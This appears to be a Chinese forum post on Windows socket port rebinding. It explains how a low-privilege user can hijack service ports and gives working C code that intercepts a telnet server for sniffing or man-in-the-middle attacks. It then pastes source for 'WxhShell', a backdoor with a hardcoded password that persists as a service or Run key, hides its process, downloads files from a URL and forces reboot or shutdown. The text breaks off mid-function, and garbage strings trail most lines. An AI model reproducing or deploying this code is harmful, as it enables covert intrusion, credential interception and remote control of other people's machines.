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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: B{QBzx1L9c  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5MroNr  
H9'$C/w  
  saddr.sin_family = AF_INET; &W| [r(  
I,E?h?6Y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &fDIQISC  
Tr_w]'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !{ y@od@T  
R[zpD%CI  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $.Qkb@}  
]&o$b]  
  这意味着什么?意味着可以进行如下的攻击: ;;!yC  
h0(BO*cy  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 fe\mL mK9  
d2*fLEsF  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) X:A^<L ~  
L ^r#o-H<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 GB23\Yv  
>@U*~Nz  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  w;%.2VJ  
GoJ.&aH $  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 KI.q@zO6|  
/MIe(,>Uh  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 QJZK|*  
qLO4#CKCL6  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Xe3U`P7(  
R4[N:~Z$|  
  #include G~F b  
  #include B7VH<;Z  
  #include .yMEIUm  
  #include    ST|x23|O]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~k"=4j9  
  int main() piJu+tUy  
  { NN%*b yK  
  WORD wVersionRequested; h){0rX@:&  
  DWORD ret; @D]5civm_  
  WSADATA wsaData; ^ sOQi6pL  
  BOOL val; X1DF*wI  
  SOCKADDR_IN saddr; &xU[E!2H%  
  SOCKADDR_IN scaddr; qSM|hHDo)  
  int err; cutuDZ  
  SOCKET s; Q$a{\*[:+  
  SOCKET sc;  U'k*_g  
  int caddsize; 6]&OrS[  
  HANDLE mt; .6ylZ  
  DWORD tid;   TtJH7  
  wVersionRequested = MAKEWORD( 2, 2 ); 9)h"-H;5:  
  err = WSAStartup( wVersionRequested, &wsaData ); uFX#`^r`  
  if ( err != 0 ) { O\ GEay2  
  printf("error!WSAStartup failed!\n"); q}b dxa  
  return -1; "0V.V>-p  
  } ?1*cO:O  
  saddr.sin_family = AF_INET; [meO[otb  
   ;o 6lf_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #oS<E1  
;(b9#b.  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `Syl:rU~y@  
  saddr.sin_port = htons(23); Mc? Qx  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^a/gBC82x  
  { J-[,KME_^  
  printf("error!socket failed!\n"); l?E{YQq]  
  return -1; H[NSqu.s  
  } o$wEEz*4  
  val = TRUE; 7z%L*z8V  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =%BSKSG.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) a]$1D!Anc  
  { jrCfWa}z  
  printf("error!setsockopt failed!\n"); ML}J\7R  
  return -1; pf]xqhL  
  } ]l;o}+`G  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; w VvF^VHV^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %h hfU6[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]RwpX ^ 1  
,bZL C  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,dv+p&Tz2  
  { 4`lLf  
  ret=GetLastError(); [xbSYu,&  
  printf("error!bind failed!\n"); {yBs7[Wn  
  return -1; $r^GE  
  } O n8v//=&  
  listen(s,2); 48J@C vU  
  while(1) >>QY'1Eu  
  { ^gN6/>]qrY  
  caddsize = sizeof(scaddr); @T@< _ ?)  
  //接受连接请求 v>6"j1Z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); JOj;^ h  
  if(sc!=INVALID_SOCKET) 0B[="rTS7#  
  { v|Pv 03%?7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9d>-MX'  
  if(mt==NULL) ]N/=Dd+|  
  { aR[JD2G  
  printf("Thread Creat Failed!\n"); uY{|szC^2  
  break; 2\)xpOj  
  } mWv3!i;G<s  
  } hM_lsc  
  CloseHandle(mt); 99]R$eT8  
  } 'HO$C, 1]  
  closesocket(s); kAKK bmE  
  WSACleanup(); d .[8c=$  
  return 0; #?RU;1)Cw  
  }   b\ X@gq  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~]nRV *^  
  { ;p.v]0]is  
  SOCKET ss = (SOCKET)lpParam; \|n- O=}=2  
  SOCKET sc; gGR"Z]DBk  
  unsigned char buf[4096]; *~2,/D  
  SOCKADDR_IN saddr; OP;v bZ  
  long num; _Mi5g_  
  DWORD val; 2kqup)82e  
  DWORD ret; q'+)t7!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |e=,oV"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ay4 %  
  saddr.sin_family = AF_INET; \Yy$MLs  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #./fY;:cj  
  saddr.sin_port = htons(23); -Sq z5lo  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $&Gu)4'+  
  { ?(xnSW@r  
  printf("error!socket failed!\n"); LY+@o<>  
  return -1; &PL8|w  
  } !:)s"|=  
  val = 100; 3 D6RLu  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4M^= nae  
  { ke!?BZx  
  ret = GetLastError(); 'Oxy$U   
  return -1; MO[2~`,Q!  
  } q~rEq%tk  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]yV!  
  { H h4WMZJG  
  ret = GetLastError(); at@G/?  
  return -1; JX<)EZ!F  
  } &g#@3e1>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }?lrU.@zg  
  { sm9k/(-  
  printf("error!socket connect failed!\n"); t1]K<>g  
  closesocket(sc); md+nj{Ib  
  closesocket(ss); =-tw5], L  
  return -1; .28<tEf  
  } YP 6` L  
  while(1) f0!))/rSD  
  { j*d yp  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :{{F *FM;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 97Lte5c6r  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Cwr~HY  
  num = recv(ss,buf,4096,0); ^0Zf,40  
  if(num>0) {M3qLf~z#C  
  send(sc,buf,num,0); K~uXO  
  else if(num==0) !H#bJTXB  
  break; e4-@ f%5  
  num = recv(sc,buf,4096,0); r`$OO,W  
  if(num>0) GXcJ< v  
  send(ss,buf,num,0); @efh{  
  else if(num==0) 6e(Qwt  
  break; 8<5]\X  
  } rW<KKGsRWQ  
  closesocket(ss); `Nv=B1  
  closesocket(sc); w}L]X1#sF  
  return 0 ; Y2|#V#  
  } ^9m\=5d  
$': E\*ICb  
ycc4W*]  
========================================================== w2Us!<x  
&]V.S7LC #  
下边附上一个代码,,WXhSHELL 7Sf bx~48  
Uq[>_"}  
========================================================== uyO/55;HO  
m&xW6!x  
#include "stdafx.h" ``V" D  
Y)1PB+  
#include <stdio.h> lvdf^b/ j  
#include <string.h> ?U%QG5/>  
#include <windows.h> v>:Ur}u!D  
#include <winsock2.h> f< ia(d  
#include <winsvc.h> >q#rw  
#include <urlmon.h> #TeG-sFJg@  
]"r&]qx7  
#pragma comment (lib, "Ws2_32.lib") 4hO!\5-w:  
#pragma comment (lib, "urlmon.lib") V08?-Iz$  
]5mnew  
#define MAX_USER   100 // 最大客户端连接数 Jlri*q"hE  
#define BUF_SOCK   200 // sock buffer x`U^OLV  
#define KEY_BUFF   255 // 输入 buffer d+<G1w&z  
%fc !2E9|  
#define REBOOT     0   // 重启 .>q8W  
#define SHUTDOWN   1   // 关机 .rO]M:UY  
S3F;(PDzy  
#define DEF_PORT   5000 // 监听端口 r~E=4oB7  
XywE1}3  
#define REG_LEN     16   // 注册表键长度 Gp1?iX?ml  
#define SVC_LEN     80   // NT服务名长度 >c1!p]&V  
I*o()  
// 从dll定义API z[LNf.)}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4Fa~Aog  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %!]@J[*1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wHzEMwY_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !-ok"k0,u  
6 rh5h:  
// wxhshell配置信息 \"qY"V  
struct WSCFG { Vl5`U'^qx  
  int ws_port;         // 监听端口 ) dn(G@5  
  char ws_passstr[REG_LEN]; // 口令 ]-PH^H  
  int ws_autoins;       // 安装标记, 1=yes 0=no {^ qcx8  
  char ws_regname[REG_LEN]; // 注册表键名 .O74V~T  
  char ws_svcname[REG_LEN]; // 服务名 pqk?|BvpK_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H0:E(}@   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NYyh|X:m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gRrL[z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |^0XYBxQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H]P. x!I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T,7Y7c/3V  
_7<FOOM%8y  
}; J{'>uD.@  
.nB0 h  
// default Wxhshell configuration 83E7k]7]  
struct WSCFG wscfg={DEF_PORT, uya.sF0]9B  
    "xuhuanlingzhe", u0 P|0\  
    1, bmJ5MF]_fG  
    "Wxhshell", _|iSF2f,X  
    "Wxhshell", KmMzH`t}`  
            "WxhShell Service", wi;Br[d  
    "Wrsky Windows CmdShell Service", 6{x(.=  
    "Please Input Your Password: ", ,kF1T,  
  1, ]"J~:{, d  
  "http://www.wrsky.com/wxhshell.exe", F{Z~ R  
  "Wxhshell.exe" }e!x5g   
    }; N+++4;  
p%#<D9S  
// 消息定义模块 9Kpa><  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M2d$4-<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `lQ3C{}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $Oq^jUJ  
char *msg_ws_ext="\n\rExit."; 5)FJ:1-  
char *msg_ws_end="\n\rQuit."; 34z"Pm  
char *msg_ws_boot="\n\rReboot..."; io _1Y]N  
char *msg_ws_poff="\n\rShutdown..."; -!q :p&c  
char *msg_ws_down="\n\rSave to "; K:!"+q  
V\{clJ\U  
char *msg_ws_err="\n\rErr!"; N2B|SO''  
char *msg_ws_ok="\n\rOK!"; 'U1R\86M  
*$yR*}A  
char ExeFile[MAX_PATH]; _/F7 ?^j  
int nUser = 0; Y ?S!8-z  
HANDLE handles[MAX_USER]; N8k00*p65  
int OsIsNt; 6 2'j!"xv  
>v:y?A,  
SERVICE_STATUS       serviceStatus; #EO9UW5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t=|evOz]  
(gy#js #  
// 函数声明 X59: C3c  
int Install(void); LISM ngQ.  
int Uninstall(void); ./,/y"x  
int DownloadFile(char *sURL, SOCKET wsh); lm!.W5-l  
int Boot(int flag); mZk]l5Lc  
void HideProc(void); ,ek_R)&[o  
int GetOsVer(void); D6%J\C13`  
int Wxhshell(SOCKET wsl); tro7Di2Q  
void TalkWithClient(void *cs); ?h.wK  
int CmdShell(SOCKET sock); M%Ji0v38  
int StartFromService(void); G]D+Sl4<7i  
int StartWxhshell(LPSTR lpCmdLine); [f)cL6AeF  
\!>3SKs(e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bW$J~ynM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6,)[+Bl  
Q 7   
// 数据结构和表定义 ~T9/#-e>BF  
SERVICE_TABLE_ENTRY DispatchTable[] = Ge2q%  
{ *-MM<|Qt  
{wscfg.ws_svcname, NTServiceMain}, O/,aJCe  
{NULL, NULL} cJN7bA {  
}; &Nj3h(Ll  
-j%,Oo  
// 自我安装 &f"-d  
int Install(void) {kp"nl$<  
{ 9)}[7Mg:C  
  char svExeFile[MAX_PATH]; ~R_ztD+C(  
  HKEY key; $eD.W  
  strcpy(svExeFile,ExeFile); qm./|#m>  
EKA#|^Q:NX  
// 如果是win9x系统,修改注册表设为自启动 cVubb}ou  
if(!OsIsNt) { pNOwDJtK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qC}-_u7s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DBPRGQ  
  RegCloseKey(key); _(Sa4Vb=Q6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H GXt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >*]Hq.&8  
  RegCloseKey(key); WP?TX b`5  
  return 0; kgnmGuka  
    } ?!9 )q.bW  
  } yOphx07 (  
} !u_Y7i3^  
else { }lh I\q  
&S( .GdEf  
// 如果是NT以上系统,安装为系统服务 VSrr`B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [<-  
if (schSCManager!=0) 7l'6gg  
{ <0H"|:W>I]  
  SC_HANDLE schService = CreateService |<#{"'/=  
  ( 2Or'c`|  
  schSCManager, whpfJNz  
  wscfg.ws_svcname, TT'[qfAI  
  wscfg.ws_svcdisp, /a^1_q-bX  
  SERVICE_ALL_ACCESS, fBalTk;G{U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z8QAo\_I(  
  SERVICE_AUTO_START, WX=Jl<  
  SERVICE_ERROR_NORMAL, '$|[R98  
  svExeFile, *+-}P|S:  
  NULL, &{>cZh}\  
  NULL, ~p1j`r;  
  NULL, ]%|GmtqZs,  
  NULL, ~KW,kyXBnD  
  NULL Qj,]N@7  
  ); g6Q!8  
  if (schService!=0) 7N-w eX  
  { :,Pn3xl  
  CloseServiceHandle(schService); f#?fxUH~  
  CloseServiceHandle(schSCManager); "]z-: \ V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O$IEn/%+  
  strcat(svExeFile,wscfg.ws_svcname); F{EnOr`,m=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  TR<<+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k%D+Y(WGz8  
  RegCloseKey(key); R($KSui  
  return 0; jqv-D  
    } dik:4;  
  } 4"{ooy^Q  
  CloseServiceHandle(schSCManager); dE:+k/  
} ^~G8?]w  
} ^SxY IFL  
&GlwC%$S  
return 1; U4gF(Q  
} '@p['#\uI  
@c<3b2  
// 自我卸载 LUuZ9$t0J"  
int Uninstall(void) 6xWe=QGE  
{ hJDi7P  
  HKEY key; :Qumb  
5#> 8MU?&  
if(!OsIsNt) { #gp,V#T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MKy[hT:  
  RegDeleteValue(key,wscfg.ws_regname); }*lUah,@  
  RegCloseKey(key); +w.JpbQ&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >c9a0A  
  RegDeleteValue(key,wscfg.ws_regname); 11<Qxu$rL  
  RegCloseKey(key); #tZ4N7  
  return 0; |55N?=8  
  } &m|wH4\  
}  AT9q3  
} T-5nB>)  
else { 1jN-4&  
hg+X(0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  :@%4  
if (schSCManager!=0) y>72{  
{ W0epAGrB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ys,{8Y,7  
  if (schService!=0) 3jlh}t>$l  
  { /RHo1  
  if(DeleteService(schService)!=0) { /[Z,MG  
  CloseServiceHandle(schService); GG@ md_  
  CloseServiceHandle(schSCManager); )=AHf?hn  
  return 0; b!sRk@LGZ  
  } :lB=L r)  
  CloseServiceHandle(schService); `t_W2y   
  } >S'17D  
  CloseServiceHandle(schSCManager); +RnkJ* l  
} J(c{y]`J  
} YN`H BFH  
 A-4h  
return 1; J.ck~;3  
} _Y8hb!#(  
^@qvl%j  
// 从指定url下载文件 Y}uCP1v  
int DownloadFile(char *sURL, SOCKET wsh) \|E^v6E%0  
{ AgFVv5  
  HRESULT hr; -PS#Z0>  
char seps[]= "/"; ai nG6Y<O`  
char *token; \8<BLmf4U  
char *file; Hm$=h>rY9[  
char myURL[MAX_PATH]; =,Dqqf  
char myFILE[MAX_PATH]; WAn~ +=Ax  
'Y56+P\u  
strcpy(myURL,sURL); q|Qk2M  
  token=strtok(myURL,seps); qe!fk?T}  
  while(token!=NULL) =Qgt${|  
  { qIY~dQ|  
    file=token; =!`j7#:  
  token=strtok(NULL,seps); h\nI!{A0  
  } NGOqy+Ty{f  
\hhmVt@@  
GetCurrentDirectory(MAX_PATH,myFILE); ]3g?hM6  
strcat(myFILE, "\\"); EI:w aIr  
strcat(myFILE, file); PB#fP_0C  
  send(wsh,myFILE,strlen(myFILE),0); mml<9fbH  
send(wsh,"...",3,0); 9A,^c;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c zm& ~n6$  
  if(hr==S_OK) 'B@e8S) y  
return 0; 7.Z@Wr?  
else B<~ NS)w  
return 1; (;q\}u  
P#fM:z@[  
} qUxRM_7U  
| fSe>uVZ  
// 系统电源模块 U7I qST  
int Boot(int flag) x\J#]d.  
{ /\H>y  
  HANDLE hToken; LE*h9((  
  TOKEN_PRIVILEGES tkp; j{NNSi3  
u%/goxA  
  if(OsIsNt) { #*TEq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `;>= '"O!\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s 1e:v+B]  
    tkp.PrivilegeCount = 1; RLSc+kDH_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BRk0CLr5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !OT-b>*w  
if(flag==REBOOT) { :dLAs@z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cIp D~0\  
  return 0; /r-aPJX  
} * 1Od-3  
else { uPRQU+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ay !G1;  
  return 0; *Mw_0Y  
} 9:e YU =  
  } ~t^eiyv  
  else { LrAT Sq@  
if(flag==REBOOT) { (4\d]*u5-c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QK+(g,)_86  
  return 0; ed:@C?  
} Z7RiPSdxp  
else { m+#iR}*1L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1P(|[W1  
  return 0; ,}:G\u*Fu  
} wbe<'/X+  
} 2 ho>eRX  
)=-0M9e.{  
return 1; KID,|K  
} A0Zt8>w  
bzvh%RsW  
// win9x进程隐藏模块 E@P %v{)  
void HideProc(void) Qu7T[ <  
{ >P/][MT  
xY$iz)^0&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y}[c^$S  
  if ( hKernel != NULL ) <}sq?Sfq!  
  { ;>AL`M+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ONCnVjZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); YSj+\Z$(  
    FreeLibrary(hKernel); 2hee./F`  
  } wN2QK6Oc  
O)Y?=G)  
return; gt/zpiKmV  
} ;L,mBQB?0b  
fPrLM'  
// 获取操作系统版本 [p2H=  
int GetOsVer(void) {&"L~>/o  
{ (I@rLvZr{  
  OSVERSIONINFO winfo; eQVZO>)P1+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J@OB`2?Zv  
  GetVersionEx(&winfo); H<QT3RF2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J7v|vj I  
  return 1; MSV2ip3  
  else 0d3+0EN{  
  return 0; gd0Vp Xf'  
} |,aG%MTL  
.cR -V`  
// 客户端句柄模块 EaWS. eK  
int Wxhshell(SOCKET wsl) jZ%TJ0(H  
{ \tRG1&{$%  
  SOCKET wsh; /[9t`  
  struct sockaddr_in client; e5OsI Vtjr  
  DWORD myID; sg8/#_S1i  
M{$j  
  while(nUser<MAX_USER) )LdyC`S\c  
{ .-JCwnP  
  int nSize=sizeof(client); Q//,4>JKf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?]rPRV  
  if(wsh==INVALID_SOCKET) return 1; VOr1  
PC qZNBN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (D 9Su^:1  
if(handles[nUser]==0) @rHK( 25+d  
  closesocket(wsh); #_B-4sm  
else [y0O{,lI  
  nUser++; HBY.DCN[Z  
  } 2QNNp:`6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i@][rdhT  
-kS~xVS|  
  return 0; T2D<UhP  
} w ~ dk#=  
.)+h H y  
// 关闭 socket ZlHDi!T  
void CloseIt(SOCKET wsh) *-12VIG'H  
{ 4:7V./" 9  
closesocket(wsh);  iL= m{  
nUser--; (o J9k[(  
ExitThread(0);  `juLQH  
} ZbT/$\0(6  
1RKW2RCaW_  
// 客户端请求句柄 .^bft P\  
void TalkWithClient(void *cs) 7t?*  
{ (n1Bh~R^  
= 0- $W5E  
  SOCKET wsh=(SOCKET)cs; U;n*j3wT  
  char pwd[SVC_LEN]; r|*&GHo L  
  char cmd[KEY_BUFF]; ql GW.jY.  
char chr[1]; jAh2N3)  
int i,j; 1.D-FPK  
CdUAy|!`R  
  while (nUser < MAX_USER) { N-g8}03  
?DH"V7bs  
if(wscfg.ws_passstr) { '&99?s`u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xcJ `1*1N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QW_agm  
  //ZeroMemory(pwd,KEY_BUFF); kSc{^-<R  
      i=0; ^ZM0c>ev=l  
  while(i<SVC_LEN) { 2S8P}$mM  
O,<IGO  
  // 设置超时 O'GG Ti]e  
  fd_set FdRead; vfB2XVc  
  struct timeval TimeOut; KvQ,;A  
  FD_ZERO(&FdRead); CAT.4GM  
  FD_SET(wsh,&FdRead); azP+GM=i7  
  TimeOut.tv_sec=8; >2 3-  
  TimeOut.tv_usec=0; efG6v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "C?5f]T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F/1#l@qN  
?%O3Oi Xz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j$da8] !  
  pwd=chr[0]; QR">.k4QJ  
  if(chr[0]==0xd || chr[0]==0xa) { y{9~&r  
  pwd=0; [0OJdY4  
  break; $^ 'aCU0C  
  } lZ&]|*>  
  i++; AOp/d(vx5i  
    } 0e[d=)XG  
\#'TNmS  
  // 如果是非法用户,关闭 socket qi^!GA'5j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #,(sAj  
} q@hp.(V  
>O/ D!j|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !'=15&5@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ki;UY~  
dP]1tAO,y  
while(1) { {m8+Wju}  
K={qU[_O  
  ZeroMemory(cmd,KEY_BUFF); ZAuWx@}  
qpJ{2Q  
      // 自动支持客户端 telnet标准   t!1$$e?`r  
  j=0; 7*wVI+  
  while(j<KEY_BUFF) { rg_Q"g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "Dy'Kd%,%/  
  cmd[j]=chr[0]; Z.i{i^/#(  
  if(chr[0]==0xa || chr[0]==0xd) { `N/RHb%  
  cmd[j]=0; 6+K_Z\  
  break; ]=73-ywn]  
  } d {2  
  j++; ~e@>zoM'^  
    } @OV-KT[>  
Q 6C-4ja  
  // 下载文件 z5Qs @dG  
  if(strstr(cmd,"http://")) { XA_FOw!cX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +~nzii3  
  if(DownloadFile(cmd,wsh)) _U| 7'^|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xj+q~4{|vt  
  else wyxGe<1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :`vP}I ^  
  }  6qo^2  
  else { >cL{Ya}Rz  
DZ ^1s~  
    switch(cmd[0]) { s]27l3)B  
  HjWq[[Nz  
  // 帮助 =wi*Nd7L  
  case '?': { *oI*-C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bVr*h2 p  
    break; mT*{-n_Zs  
  } 4\ /*jA  
  // 安装 G&eP5'B4i  
  case 'i': { qu6DQ@ ~YC  
    if(Install()) $t rAC@3O@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r!N]$lB  
    else w-N1.^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @LD6:gy  
    break; [LM^), J?  
    } >n.z)ZJ  
  // 卸载 m:Go-tk  
  case 'r': { >x:EJV   
    if(Uninstall()) fn{S "33"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [IM%b~j(^  
    else g+zJ?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u3tZ[Y2 c  
    break; (9fdljl],:  
    } a?cn9i)#  
  // 显示 wxhshell 所在路径 5iFV;W  
  case 'p': { VFD%h }  
    char svExeFile[MAX_PATH]; KT*:F(4`  
    strcpy(svExeFile,"\n\r"); X}4}&  
      strcat(svExeFile,ExeFile); nw'-`*'rj  
        send(wsh,svExeFile,strlen(svExeFile),0); CidM(  
    break; eo#^L}  
    } #$'"cfRxc  
  // 重启 j;P+_Hfe/E  
  case 'b': { w3*-^: ?j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \X}8 q  
    if(Boot(REBOOT)) S9Y[4*//  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YwT-T,oD  
    else { 5a8>g [2U  
    closesocket(wsh); \Xg?Ug*9w  
    ExitThread(0); y)J(K*x/$  
    } wod/&!)]A  
    break; =F%RLpNU4  
    } 2O""4_G  
  // 关机 M7y|EB))  
  case 'd': { )xl6,bq3  
